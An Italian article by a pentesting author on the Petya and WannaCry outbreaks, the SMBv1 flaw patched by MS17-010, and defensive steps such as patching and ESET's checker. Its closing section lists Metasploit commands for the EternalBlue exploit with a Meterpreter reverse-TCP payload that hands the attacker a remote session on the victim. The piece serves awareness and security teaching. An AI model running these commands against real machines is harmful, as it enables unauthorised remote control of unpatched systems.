PETYA Virus, Vulnerabilità e Pentesting
Cryptowall, Cryptolocker, Reveton, Wannacry, Petya e non-Petya. Ultimamente abbiamo sentito parlare di virus, malware, worm, scareware, leakware e chi più ne ha più ne metta.
Siamo stati subissati da anglicismi e iperonimi di ogni sorta, con la magra consolazione, perlomeno, di possedere ora un glossario informatico sempre più ricco di voci e definizioni.
WannaCry e Petya: l’impatto sulla cyber security
WannaCry e il più temibile Petya hanno portato ancora una volta alla ribalta l’argomento Cyber security, oltre a generare altre preoccupazioni che bene non fanno al sysadmin di turno. E, tanto per gradire, pare ci possa essere un’altra variante, un wiper malware per la precisione (sic, un’altra definizione da appuntare). Com’è possibile che così tante macchine siano rimaste coinvolte in questa pandemia informatica? Il motivo del successo di Petya dipende in gran parte da noi utenti finali, che troppo spesso, per pigrizia/fretta/negligenza non aggiorniamo i sistemi operativi di casa Microsoft con gli ultimi fix rilasciati, lasciando campo libero ai malevoli applicativi.
Meccanismo di diffusione di Petya nelle reti LAN
Petya, oltre a provocare danni sulla macchina locale, è in grado di enumerare le altre macchine presenti sulla rete LAN e di lanciare su queste l’eseguibile che porta alla ben nota procedura di crittografia; se anch’esse soffrono di questa vulnerabilità, l’attacco avrà inevitabilmente successo sull’intera rete.
Dettagli tecnici sull’attacco Petya e la crittografia del disco
Per dilungarci in qualche dettaglio tecnico, la crittografia del disco di sistema avviene a basso livello sulle Master File Tables (elementi principali del file system NTFS contenenti l’elenco di tutti i file memorizzati su disco), sovrascrivendo il Master Boot Record (il settore di avvio dell’hard disk) con una schermata e una richiesta di riscatto.
Vulnerabilità SMB
Come molti sanno, il procedimento si instaura a causa di una vulnerabilità del protocollo SMB si tratta di uno standard (giunto alla versione numero 3) di condivisione in rete di file, stampanti e altri tipi di comunicazioni principalmente utilizzato da ambienti Microsoft (ma anche UNIX-like). La versione 1 di SMB è quella critica, suscettibile all’exploit confezionato dalla NSA e statisticamente molto diffuso tra i personal computer di tutto il mondo che montano sistemi i seguenti sistemi:
- Windows XP (tutti i Service Pack) (x86) (x64)
- Windows Server 2003 SP0 (x86)
- Windows Server 2003 SP1/SP2 (x86)
- Windows Server 2003 (x64)
- Windows Vista (x86)
- Windows Vista (x64)
- Windows Server 2008 (x86)
- Windows Server 2008 R2 (x86) (x64)
- Windows 7 (tutti i Service Pack) (x86) (x64)
Strategie di protezione contro Petya e altri malware
Sorge quindi una domanda più che lecita: come valutare la sicurezza del nostro sistema ed evitare di incappare in disastri informatici? Alcuni esperti in sicurezza sono piuttosto drastici e propongono tutorial per disattivare completamente il protocollo SMB e bloccare le porte 445 e 139, oltre a creare un file vuoto denominato “ perfc ” nella cartella di sistema C:\Windows . Altri suggeriscono, un po’ provocatoriamente, di utilizzare Linux. Ma perché razionare l’efficienza della propria macchina o industriarsi in improbabili workaround per poter dormire sonni tranquilli? Limitazioni e rinunce non sono mai una soluzione ottimale nel mondo dell’informatica.
Meglio procedere a una rapida Vulnerability assessment e capire cosa possiamo fare per il nostro sistema operativo. In primo luogo dobbiamo accertarci che gli aggiornamenti automatici siano abilitati ed effettivamente installati: è di fondamentale importanza che la patch MS17-010 sia presente e operativa.
Nel caso sussistessero dubbi, è possibile procedere manualmente scaricando dal sito ufficiale Microsoft il pacchetto adatto al proprio sistema operativo. troviamo a questo indirizzo una lista completa:
http://www.catalog.update.microsoft.com/search.aspx?q=4012598
Tool automatici per la protezione da Petya e EternalBlue
Esiste anche una serie di tool che sono in grado di automatizzare il procedimento, guidando l’utente nelle operazioni di fix. Un valido esempio è questo piccolo eseguibile messo a disposizione gratuitamente da ESET antivirus all’indirizzo:
https://help.eset.com/eset_tools/ESETEternalBlueChecker.exe
Sarà sufficiente lanciare il file .exe e seguire le semplici istruzioni mostrate. Ma siamo sicuri che le conseguenze di questa vulnerabilità portino solamente a una potenziale infezione da parte di Petya?
La risposta a questa domanda retorica è ovviamente no; vediamo dunque di capirne il motivo. Avviamo la nostra distribuzione Linux preferita dedicata alla sicurezza e lanciamo il framework Metasploit. Vedremo come sfruttare l’exploit EternalBlue utilizzato dal virus per insinuarsi nel sistema vittima. Anzitutto occorre aggiornare il database di Metasploit; apriamo un terminale e digitiamo:
sudo msfupdate
Richiamiamo ora l’exploit da lanciare sulla macchina vittima:
use exploit/windows/smb/ms17_010_eternalblue
Stabiliamo, attraverso i parametri “ set” , indirizzo IP della vittima e della nostra macchina attaccante.
set rhost IP VITTIMA set lhost IP ATTACCANTE
Dopodiché impostiamo il payload (un reverse TCP andrà benissimo) e lanciamo l’exploit con i comandi “run” o “exploit”:
set payload windows/x64/meterpreter/reverse_tcp exploit
Vedremo che il terminale ci restituirà una sessione di meterpreter, chiaro segnale dell’avvenuta compromissione della macchina. A questo punto abbiamo il sistema è sotto il nostro controllo, possiamo sbizzarrirci con la fantasia e lanciare qualsivoglia comando dal sistema remoto compromesso.
Come abbiamo visto, le implicazioni di questa vulnerabilità non si fermano al mero discorso virus – e conseguenti danni al sistema – ma riguardano anche scalate di privilegi e controllo remoto della macchina, anche come utente amministratore.
Per questo è importante puntualizzare le diverse sfaccettature che una falla in un sistema comporta. In quest’era digitale cerchiamo di essere consapevoli, non vulnerabili!
A cura di: Milo Caranti
Dopo aver frequentato la facoltà di Giurisprudenza, lavora attualmente come programmatore e svolge attività consulenziale per uno studio legale di Milano. Da sempre appassionato di Sicurezza informatica e vicino alle attuali tematiche in ambito ICT, è autore del libro ”Guida al Pentesting con Parrot Security OS”.